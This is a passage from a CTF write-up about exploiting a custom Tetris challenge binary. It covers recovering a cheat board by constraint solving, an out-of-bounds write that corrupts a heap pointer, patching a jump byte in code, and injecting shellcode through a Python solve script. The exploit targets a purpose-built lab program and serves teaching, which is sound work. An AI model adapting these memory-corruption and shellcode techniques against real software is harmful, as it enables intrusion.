    <span class="k">if</span> <span class="p">(</span> <span class="n">v4</span> <span class="o">!=</span> <span class="n">check_2_values</span><span class="p">[</span><span class="mi">3</span> <span class="o">*</span> <span class="n">thing</span> <span class="o">+</span> <span class="n">i</span><span class="p">]</span> <span class="o">||</span> <span class="n">v3</span> <span class="o">!=</span> <span class="n">check_2_counts</span><span class="p">[</span><span class="mi">3</span> <span class="o">*</span> <span class="n">thing</span> <span class="o">+</span> <span class="n">i</span><span class="p">]</span> <span class="p">)</span>
      <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</code></pre></div></div>
<p>Both are very similar, and the gist is that they iterate the board doing a type of coordinate check for tetrominos at certain positions. To get the exact positions we can do a constraint solve by just iterating all the possible values (brute force).</p>

<h3 id="constraint-solving">Constraint Solving</h3>

<p><img src="https://media.giphy.com/media/l378lYLOhPZVG653y/giphy.gif" alt="" /></p>

<p>Here is the most important part of the solve script:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">def</span> <span class="nf">recover_board</span><span class="p">(</span><span class="n">counts</span><span class="p">,</span> <span class="n">hashes</span><span class="p">):</span>
    <span class="k">def</span> <span class="nf">get_val</span><span class="p">(</span><span class="n">l</span><span class="p">,</span> <span class="n">s</span><span class="p">,</span> <span class="n">r</span><span class="p">):</span>
        <span class="k">return</span> <span class="n">l</span><span class="p">[</span><span class="n">s</span> <span class="o">*</span> <span class="mi">5</span> <span class="o">+</span> <span class="n">r</span><span class="p">]</span>
    <span class="k">def</span> <span class="nf">get_count</span><span class="p">(</span><span class="n">s</span><span class="p">,</span> <span class="n">r</span><span class="p">):</span>
        <span class="k">return</span> <span class="n">get_val</span><span class="p">(</span><span class="n">counts</span><span class="p">,</span> <span class="n">s</span><span class="p">,</span> <span class="n">r</span><span class="p">)</span>
    <span class="k">def</span> <span class="nf">get_hash</span><span class="p">(</span><span class="n">s</span><span class="p">,</span> <span class="n">r</span><span class="p">):</span>
        <span class="k">return</span> <span class="n">get_val</span><span class="p">(</span><span class="n">hashes</span><span class="p">,</span> <span class="n">s</span><span class="p">,</span> <span class="n">r</span><span class="p">)</span>
    <span class="n">NROWS</span> <span class="o">=</span> <span class="mi">5</span>
    <span class="n">NCOLS</span> <span class="o">=</span> <span class="mi">12</span>
    <span class="n">NSECTIONS</span> <span class="o">=</span> <span class="mi">4</span>
    <span class="n">SECTION_WIDTH</span> <span class="o">=</span> <span class="n">NCOLS</span> <span class="o">/</span> <span class="n">NSECTIONS</span>
    <span class="n">board</span> <span class="o">=</span> <span class="nb">tuple</span><span class="p">([]</span> <span class="k">for</span> <span class="n">_</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">NROWS</span><span class="p">))</span>
    <span class="n">possibilities</span> <span class="o">=</span> <span class="n">test_n</span><span class="p">(</span><span class="mi">3</span><span class="p">)</span>
    <span class="k">for</span> <span class="n">section</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">NSECTIONS</span><span class="p">):</span>
        <span class="k">for</span> <span class="n">row</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">NROWS</span><span class="p">):</span>
            <span class="n">key</span> <span class="o">=</span> <span class="p">(</span><span class="n">get_count</span><span class="p">(</span><span class="n">section</span><span class="p">,</span> <span class="n">row</span><span class="p">),</span> <span class="n">get_hash</span><span class="p">(</span><span class="n">section</span><span class="p">,</span> <span class="n">row</span><span class="p">))</span>
            <span class="n">board</span><span class="p">[</span><span class="n">row</span><span class="p">].</span><span class="n">extend</span><span class="p">(</span><span class="n">possibilities</span><span class="p">[</span><span class="n">key</span><span class="p">][</span><span class="mi">0</span><span class="p">])</span>
    <span class="k">return</span> <span class="n">board</span>
</code></pre></div></div>
<p>Using this we get something that looks like this:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">[</span><span class="mi">1</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">1</span><span class="p">]</span>
<span class="p">[</span><span class="mi">1</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">1</span><span class="p">]</span>
<span class="p">[</span><span class="mi">1</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">1</span><span class="p">]</span>
<span class="p">[</span><span class="mi">1</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">]</span>
<span class="p">[</span><span class="mi">1</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">1</span><span class="p">]</span>
</code></pre></div></div>
<p>These are the valid positions in the last 5x12 coordinates on the board. By translating the 1’s into pecies by hand (just trying the 7 tetrominos in each place), we can get a nice rendered image of what it should look like on the real board:</p>

<p><img src="/assets/images/blox_ex2.png" alt="" /></p>

<p>Ah yes, ret2. Now that we know what tetrominos they want in those positions, it’s just a matter of getting the right blocks in the right order. Since the program initialized with the seed:
<code class="language-plaintext highlighter-rouge">srand(1);</code> we know that each sequence of tetrominos will repeat. For us, this happened after 8 tires. We simply recorded these modes once using their builtin keylogger:</p>

<p><img src="/assets/images/blox_ex3.png" alt="" /></p>

<p>Finally, we used that key log in thier custom <code class="language-plaintext highlighter-rouge">pwntools</code> like interaction environment and sent over the payload to get the tetrominos into place:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">p</span> <span class="o">=</span> <span class="n">interact</span><span class="p">.</span><span class="n">Process</span><span class="p">()</span>
<span class="c1">## data = p.readuntil('\n')
</span><span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="s">"</span><span class="se">\n</span><span class="s">w w w w w w w w </span><span class="se">\n\n</span><span class="s">w w w w w w w </span><span class="se">\n\n</span><span class="s">w w w w w w w w </span><span class="se">\n\n</span><span class="s">w w w w w w w w </span><span class="se">\n\n</span><span class="s">caaaaaadw w w w w w w w w </span><span class="se">\n\n</span><span class="s">w w w w w w w w</span><span class="se">\n\n</span><span class="s">aaaaaadd dwd caaaad aaddda daadwd dddd aaddw aaa ddaacd aadcaaw d awa daaw aw  awa daa dad aaawd w w w </span><span class="se">\n\n</span><span class="s">aaaaaadd dwd dddd aaa  aacddddd dddddaaa aaacw  aaa awa awa wdd daaawww dw waa awaaaa caaaaaawa ddddd  w w w</span><span class="se">\n</span><span class="s">"</span><span class="p">)</span>

<span class="n">p</span><span class="p">.</span><span class="n">interactive</span><span class="p">()</span>
</code></pre></div></div>

<p>Now we get that cash $$$ and end in interactive mode:</p>

<p><img src="/assets/images/blox_cheats.gif" alt="" /></p>

<p>Now that we have the first flag, it’s time to move on to the pwn section of this challenge.</p>

<h2 id="searching-for-vulnerabilities">Searching for Vulnerabilities</h2>
<p>Recall from the desctiption that we need to “void the warranty”. This is made clear by the code:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// magic values for the hardware logging mechanism</span>
<span class="c1">// hacking is grounds for voiding this machine's warranty</span>
<span class="cp">#define LOG_CHEATING 0xbadb01
#define LOG_HACKING 0x41414141
</span><span class="kt">void</span> <span class="nf">hw_log</span><span class="p">(</span><span class="kt">int</span> <span class="n">reason</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">syscall</span><span class="p">(</span><span class="mi">1337</span><span class="p">,</span> <span class="n">reason</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>
<p>This means we need to find a way to call <code class="language-plaintext highlighter-rouge">hw_log</code>, either through ROPing or Shellcoding. Thus, it’s time to look for vulns.</p>

<p>At this point we have had some decent amount of time reversing the program and understand how most things work. One thing that stood out immediately to me is their custom <code class="language-plaintext highlighter-rouge">malloc</code>, a highly suspect function since <code class="language-plaintext highlighter-rouge">malloc</code> itself is usually the culprit of many exploitation techniques.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span><span class="o">*</span> <span class="n">heap_top</span><span class="p">;</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">heap</span><span class="p">[</span><span class="mh">0x1000</span><span class="p">];</span>


<span class="kt">void</span><span class="o">*</span> <span class="nf">malloc</span><span class="p">(</span><span class="kt">unsigned</span> <span class="kt">long</span> <span class="n">n</span><span class="p">)</span> <span class="p">{</span>
    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">heap_top</span><span class="p">)</span>
        <span class="n">heap_top</span> <span class="o">=</span> <span class="n">heap</span><span class="p">;</span>

    <span class="k">if</span> <span class="p">(</span><span class="n">heap_top</span><span class="o">+</span><span class="n">n</span> <span class="o">&gt;=</span> <span class="p">(</span><span class="kt">void</span><span class="o">*</span><span class="p">)</span><span class="o">&amp;</span><span class="n">heap</span><span class="p">[</span><span class="k">sizeof</span><span class="p">(</span><span class="n">heap</span><span class="p">)])</span> <span class="p">{</span>
        <span class="n">writestr</span><span class="p">(</span><span class="s">"ENOMEM</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
        <span class="n">exit</span><span class="p">(</span><span class="mi">1</span><span class="p">);</span>
    <span class="p">}</span>
    <span class="kt">void</span><span class="o">*</span> <span class="n">p</span> <span class="o">=</span> <span class="n">heap_top</span><span class="p">;</span>
    <span class="n">heap_top</span> <span class="o">+=</span> <span class="n">n</span><span class="p">;</span>
    <span class="k">return</span> <span class="n">p</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Essentially, any time a challenge implements a well known C-library function, you ought to be suspicious. The only place this <code class="language-plaintext highlighter-rouge">malloc</code> is used is when we write our name for a new high score:
<code class="language-plaintext highlighter-rouge">char* name = malloc(4);</code>. <em>Why would someone add a custom malloc for only a single usage for a 3 byte name?</em>. This metagame question should put things into perspective that this malloc will somehow be used for us to arbitrary write to locations, since if you can control what <code class="language-plaintext highlighter-rouge">heap_top</code> is, you can have a write-what-where primitive.</p>

<p>After looking at this, we decided to just start messing around with the Tetris game. Recall from the last section that we turned on cheats, which gives us the ability to change the current tetromino to any shape at anytime before it is set on another block. We started messing around, by converting shapes, and got this interesting game reaction:</p>

<p><img src="/assets/images/blox_glitch.gif" alt="" /></p>

<p>Notice, that last block switch changes the flat block into a square block – which glitches off the board. What does this mean for us? We have tha ability to overflow things adjacent to the board in memory! What values end up in the place adjacent to the board? Well that depends on the shape.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#define TTR_I 1
#define TTR_J 2
#define TTR_L 3
#define TTR_O 4
#define TTR_S 5
#define TTR_Z 6
#define TTR_T 7
</span></code></pre></div></div>

<p>So in this case, the thing next to the board in memory got filled with a <code class="language-plaintext highlighter-rouge">4</code>, since that is the value of the square. But what can we actually overflow?</p>

<p>What is next to the board in memory…</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">board</span><span class="p">[</span><span class="n">NROWS</span><span class="p">][</span><span class="n">NCOLS</span><span class="p">];</span>

<span class="kt">void</span><span class="o">*</span> <span class="n">heap_top</span><span class="p">;</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">heap</span><span class="p">[</span><span class="mh">0x1000</span><span class="p">];</span>
</code></pre></div></div>

<p>Well how about that, we have a direct way to write into <code class="language-plaintext highlighter-rouge">heap_top</code>. Recall that <code class="language-plaintext highlighter-rouge">malloc</code> function constantly returns a pointer to <code class="language-plaintext highlighter-rouge">heap_top</code> incremented by how many times <code class="language-plaintext highlighter-rouge">malloc</code> has been called. We then use that returned pointer to write a string to it of length at max 3.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">char</span><span class="o">*</span> <span class="n">name</span> <span class="o">=</span> <span class="n">malloc</span><span class="p">(</span><span class="mi">4</span><span class="p">);</span>

<span class="p">[...]</span>

<span class="k">while</span> <span class="p">((</span><span class="n">c</span> <span class="o">=</span> <span class="n">getchar</span><span class="p">())</span> <span class="o">!=</span> <span class="sc">'\n'</span><span class="p">)</span> <span class="p">{</span>

  <span class="p">[...]</span>

  <span class="k">if</span> <span class="p">(</span><span class="n">c</span> <span class="o">&gt;=</span> <span class="sc">'A'</span> <span class="o">&amp;&amp;</span> <span class="n">c</span> <span class="o">&lt;=</span> <span class="sc">'Z'</span> <span class="o">&amp;&amp;</span> <span class="n">nameidx</span> <span class="o">&lt;</span> <span class="mi">3</span><span class="p">)</span> <span class="p">{</span>
                <span class="n">name</span><span class="p">[</span><span class="n">nameidx</span><span class="o">++</span><span class="p">]</span> <span class="o">=</span> <span class="n">c</span><span class="p">;</span>
                <span class="n">redraw_name</span><span class="p">(</span><span class="n">name</span><span class="p">);</span>
            <span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>

<p>At face value, this is a <code class="language-plaintext highlighter-rouge">write-what-where</code> primitive.</p>

<h2 id="understanding-our-primitives">Understanding our Primitives</h2>

<p>So we have an overflow that allows us to make <code class="language-plaintext highlighter-rouge">heap_top</code> a value we control, then we can write to it… but we have many constraints that make this hard to do. Line 126 is a culprit for two of our three restrictions on this primitive:</p>

<p><code class="language-plaintext highlighter-rouge">if (c &gt;= 'A' &amp;&amp; c &lt;= 'Z' &amp;&amp; nameidx &lt; 3)</code></p>

<p>Restrictions:</p>
<ol>
  <li>We can only write at max 3 bytes at a time</li>
  <li>We can only write uppercase ascii values</li>
  <li>Limited initial pointer overwrites</li>
</ol>

<p>On the third point, we can only initially write a value to the pointer that is compromised of the block values:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#define TTR_I 1
#define TTR_J 2
#define TTR_L 3
#define TTR_O 4
#define TTR_S 5
#define TTR_Z 6
#define TTR_T 7
</span></code></pre></div></div>

<p>Since to overwrite <code class="language-plaintext highlighter-rouge">heap_top</code> it had to overflow at the bottom of the board, we noticed that only <code class="language-plaintext highlighter-rouge">J</code>, <code class="language-plaintext highlighter-rouge">O</code> and <code class="language-plaintext highlighter-rouge">I</code> worked really well reliably. This highly constrains what we can actually write, especially the limiting of us to uppercase values.</p>

<p>At this point, we stop and need to think about a cheeky way to do this in a clean and fast move. We need to use our partial write primitive to disable these checks by overwriting the code that checks it. What is the best way to do this?</p>

<h2 id="upgrading-our-write-primitive">Upgrading our Write Primitive</h2>
<h3 id="real-arbitrary-pointer">Real Arbitrary Pointer</h3>
<p>The first thing we should deal with is finding a way to write more specific values to <code class="language-plaintext highlighter-rouge">heap_top</code> (restriction 3), since this will be fundamental to overwriting things that this pointer points to. Aside from placing an initial value that can be somewhat consistent, we have one other way to make the pointer more specific, located in <code class="language-plaintext highlighter-rouge">malloc</code>:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code>    <span class="kt">void</span><span class="o">*</span> <span class="n">p</span> <span class="o">=</span> <span class="n">heap_top</span><span class="p">;</span>
    <span class="n">heap_top</span> <span class="o">+=</span> <span class="n">n</span><span class="p">;</span>
    <span class="k">return</span> <span class="n">p</span><span class="p">;</span>
</code></pre></div></div>

<p>where the caller is always <code class="language-plaintext highlighter-rouge">malloc(4)</code>. This only gets called when we get access <code class="language-plaintext highlighter-rouge">check_high_score()</code> after we get a new high score. This means we can increment our initial write to <code class="language-plaintext highlighter-rouge">heap_top</code> by continuously getting new high scores that increments our pointer to wherever we want to go. The only reason this works is because we have the ability to “read nothing” when making a new high score username:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">while</span> <span class="p">((</span><span class="n">c</span> <span class="o">=</span> <span class="n">getchar</span><span class="p">())</span> <span class="o">!=</span> <span class="sc">'\n'</span><span class="p">)</span> <span class="p">{</span> <span class="p">...</span> <span class="p">}</span>
</code></pre></div></div>

<p>This is works because the code won’t do anything if we enter only a newline. The only interesting thing about this is that we need to implement an algorithm that gets a new high score every game. This is easy if we alaways place <code class="language-plaintext highlighter-rouge">I</code> shaped tetrominos to incremeant our score each game. Great, now we can actually move our pointer “anywhere” (that is 4 byte aligned).</p>

<h3 id="real-arbitrary-write-values">Real Arbitrary Write Values</h3>

<p>Now let’s deal with restriction one and two. If we are going to really write anything we need to get passed that check shown earlier. We have two options:</p>
<ol>
  <li>One by one overwrite the values being compared against our input</li>
</ol>

<p>OR</p>

<ol>
  <li>Modify code to make us jump directly to the location our read variable gets stored.</li>
</ol>

<p>Our solution to this problem came after squinting at the code for a hot minute and realizing that we have an amazing situation happening at the jump (if statement) corresponding to the source code line 117:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">while</span> <span class="p">((</span><span class="n">c</span> <span class="o">=</span> <span class="n">getchar</span><span class="p">())</span> <span class="o">!=</span> <span class="sc">'\n'</span><span class="p">)</span> <span class="p">{</span>
        <span class="k">if</span> <span class="p">(</span><span class="n">c</span> <span class="o">==</span> <span class="sc">'\b'</span> <span class="o">||</span> <span class="n">c</span> <span class="o">==</span> <span class="sc">'\x7f'</span><span class="p">)</span> <span class="p">{</span>
<span class="p">[...]</span>
</code></pre></div></div>
<p>the jump corresponds on what to do if this jump fails:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="mh">0x40021d</span><span class="o">:</span>  <span class="n">jne</span>     <span class="mh">0x400247</span>
</code></pre></div></div>
<p>Taking a closer look, the bytes that make up this instruction are:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="mi">75</span> <span class="mi">28</span>
</code></pre></div></div>
<p>Recall we are only able to write values between <code class="language-plaintext highlighter-rouge">0x41</code> and <code class="language-plaintext highlighter-rouge">0x5a</code>. Currently, this jump takes us to an exit of the loop… but what if we could change where we go when we fail? Consider changing a the byte to this:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="mi">75</span> <span class="mi">50</span>
</code></pre></div></div>
<p>This is a very lucky and cunning way for us to allow any value at any size to be read into the pointer, since it changes the jump to this:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="mh">0x40021d</span><span class="o">:</span>  <span class="n">jne</span>    <span class="mh">0x40026f</span>
</code></pre></div></div>
<p>which corresponds to skipping all middle code in the earlier loop, making the code semantically equivalent to this:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">while</span> <span class="p">((</span><span class="n">c</span> <span class="o">=</span> <span class="n">getchar</span><span class="p">())</span> <span class="o">!=</span> <span class="sc">'\n'</span><span class="p">)</span> <span class="p">{</span>
        <span class="k">if</span> <span class="p">(</span><span class="n">c</span> <span class="o">==</span> <span class="sc">'\b'</span> <span class="o">||</span> <span class="n">c</span> <span class="o">==</span> <span class="sc">'\x7f'</span><span class="p">)</span> <span class="p">{</span> <span class="c1">// backspace characters</span>
            <span class="k">if</span> <span class="p">(</span><span class="n">nameidx</span><span class="p">)</span> <span class="p">{</span>
                <span class="n">name</span><span class="p">[</span><span class="o">--</span><span class="n">nameidx</span><span class="p">]</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
                <span class="n">redraw_name</span><span class="p">(</span><span class="n">name</span><span class="p">);</span>
            <span class="p">}</span>
        <span class="p">}</span>
        <span class="k">else</span> <span class="p">{</span>
                <span class="n">name</span><span class="p">[</span><span class="n">nameidx</span><span class="o">++</span><span class="p">]</span> <span class="o">=</span> <span class="n">c</span><span class="p">;</span>
                <span class="n">redraw_name</span><span class="p">(</span><span class="n">name</span><span class="p">);</span>            
        <span class="p">}</span>
    <span class="p">}</span>
</code></pre></div></div>

<p>Doing this would give us a full write-what-where primitive.</p>

<h2 id="shellcoding-to-victory">Shellcoding to Victory</h2>
<p>Now that we have the full primitive, it’s time to finish this challenge up with shellcode that calls <code class="language-plaintext highlighter-rouge">log_hw</code> with the hacking constant.</p>

<p>As a review here is the plan of the first part of our exploit:</p>
<ol>
  <li>Initialize the <code class="language-plaintext highlighter-rouge">heap_top</code> to <code class="language-plaintext highlighter-rouge">0x400202</code> using the overflow</li>
  <li>Get <code class="language-plaintext highlighter-rouge">7</code> high scores back to back while writing no name
    <ol>
      <li>This increments <code class="language-plaintext highlighter-rouge">heap_top</code> to <code class="language-plaintext highlighter-rouge">0x40021e</code></li>
    </ol>
  </li>
  <li>On the 7th, write the name <code class="language-plaintext highlighter-rouge">\x50</code> to the <code class="language-plaintext highlighter-rouge">heap_top</code> (for the jump)</li>
</ol>

<p>Now all we need to do is overwrite some other code with shellcode to call the <code class="language-plaintext highlighter-rouge">hw_log()</code>. Ah, why not just overwrite <code class="language-plaintext highlighter-rouge">heck_high_score()</code>, since we already have a tetromino setup to get there (<code class="language-plaintext highlighter-rouge">0x400202</code>). Once we are there, we just need to overwrite the location with some simple code:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">mov</span> <span class="n">edi</span><span class="p">,</span> <span class="mh">0x41414141</span>
<span class="n">call</span> <span class="err">$</span><span class="o">+</span><span class="mh">0xb6c</span>
<span class="n">nop</span>
<span class="n">nop</span>

<span class="c1">// hw_log(0x41414141)</span>
<span class="c1">// "\xBF\x41\x41\x41\x41\xE8\x67\x0B\x00\x00\x90\x90"</span>
</code></pre></div></div>

<p>So to complete our plan, it looks like this:</p>

<ol>
  <li>Initialize the <code class="language-plaintext highlighter-rouge">heap_top</code> to <code class="language-plaintext highlighter-rouge">0x400202</code> using the overflow</li>
  <li>Get <code class="language-plaintext highlighter-rouge">7</code> high scores back to back while writing no name
    <ol>
      <li>This increments <code class="language-plaintext highlighter-rouge">heap_top</code> to <code class="language-plaintext highlighter-rouge">0x40021e</code></li>
    </ol>
  </li>
  <li>On the 7th, write the name <code class="language-plaintext highlighter-rouge">\x50</code> to the <code class="language-plaintext highlighter-rouge">heap_top</code> (for the jump)</li>
  <li>Reinitialize the <code class="language-plaintext highlighter-rouge">heap_top</code> to <code class="language-plaintext highlighter-rouge">0x400202</code> using the overflow</li>
  <li>Write the Shellcode</li>
  <li>Get a high score (to trigger the Shellcode)</li>
</ol>

<p>Let’s put it all together and get that flag!</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">## Activate Cheat Mode
</span><span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="s">"</span><span class="se">\n</span><span class="s">w w w w w w w w </span><span class="se">\n\n</span><span class="s">w w w w w w w </span><span class="se">\n\n</span><span class="s">w w w w w w w w </span><span class="se">\n\n</span><span class="s">w w w w w w w w </span><span class="se">\n\n</span><span class="s">caaaaaadw w w w w w w w w </span><span class="se">\n\n</span><span class="s">w w w w w w w w</span><span class="se">\n\n</span><span class="s">aaaaaadd dwd caaaad aaddda daadwd dddd aaddw aaa ddaacd aadcaaw d awa daaw aw  awa daa dad aaawd w w w </span><span class="se">\n\n</span><span class="s">aaaaaadd dwd dddd aaa  aacddddd dddddaaa aaacw  aaa awa awa wdd daaawww dw waa awaaaa caaaaaawa ddddd  w w w</span><span class="se">\n</span><span class="s">"</span><span class="p">)</span>

<span class="c1">## Initialize heap_top to 202
</span><span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="s">"JaaaaawwwO"</span> <span class="o">+</span> <span class="s">"s"</span><span class="o">*</span><span class="mi">18</span> <span class="o">+</span> <span class="s">"Ja w w w w w w w </span><span class="se">\n\n\n\n</span><span class="s">"</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="s">"</span><span class="se">\n\n</span><span class="s">"</span><span class="p">)</span>

<span class="c1">## Increment to 212
</span><span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">6</span><span class="p">):</span>
    <span class="n">new_hs</span><span class="p">()</span>
<span class="n">new_hs</span><span class="p">(</span><span class="n">skip</span><span class="o">=</span><span class="bp">True</span><span class="p">)</span>

<span class="c1">## Overwrite the jump
</span><span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="s">"</span><span class="se">\x50\n</span><span class="s">"</span><span class="p">)</span>

<span class="c1">## Reinit heap_top to 202
</span><span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="s">"JaaaaawwwO"</span> <span class="o">+</span> <span class="s">"s"</span><span class="o">*</span><span class="mi">18</span> <span class="o">+</span> <span class="s">"Ja w w w w w w w </span><span class="se">\n\n\n\n</span><span class="s">"</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="s">"</span><span class="se">\n\n</span><span class="s">"</span><span class="p">)</span>

<span class="c1">## Write Shellcode
</span><span class="n">new_hs</span><span class="p">(</span><span class="n">skip</span><span class="o">=</span><span class="bp">True</span><span class="p">)</span>
<span class="c1">#p.sendline("\n")
</span><span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="s">"</span><span class="se">\xBF\x41\x41\x41\x41\xE8\x67\x0B\x00\x00\x90\x90\n</span><span class="s">"</span><span class="p">)</span>

<span class="c1">## Call Shellcode
</span><span class="n">new_hs</span><span class="p">(</span><span class="n">skip</span><span class="o">=</span><span class="bp">True</span><span class="p">)</span>
</code></pre></div></div>

<p>With a final solve looking something like this in the end:</p>

<p><img src="/assets/images/blox_final.gif" alt="" /></p>

<h2 id="thanks-where-thanks-is-due">Thanks Where Thanks is Due</h2>
<p>Like I said before, my teammates are what make this solve so successful. I couldn’t have done it without: <a href="https://github.com/pcgrosen">Paul</a>, <a href="https://github.com/n-wach">Nathan (UCSB)</a>, <a href="https://twitter.com/Pascal_0x90">Nathan (ASU)</a>, and any other person the jumped into the voice channel to help. Paul came up with the brilliant idea to only overwrite one byte in the jump bytes. Playing with friends is what makes these games enjoyable :).</p>

<h2 id="conclusion">Conclusion</h2>
<p>Like earlier, the challenge files and all the solve scripts can be found <a href="https://github.com/mahaloz/mahaloz.re/tree/master/writeup_code/csaw-quals-20">here</a>. This CTF had a lot of guessy challenges, but it also had some very well crafted pwn challenges – like this one by <a href="https://github.com/itszn">itzsn</a>. Overall, I think this CTF was good <strong>for the current times</strong>. It’s not easy to organize a CTF with death and fires on the horizon. Thank you NYUSEC. Oh yeah, and we got first overall :).</p>

<p><img src="/assets/images/blox_scoreboard.png" alt="" /></p>]]></content><author><name></name></author><category term="ctf" /><category term="pwn" /><summary type="html"><![CDATA[Pwning a custom Tetris game through an out-of-bounds write to memory through block manipulation and changes to the `.text` segment.]]></summary></entry></feed>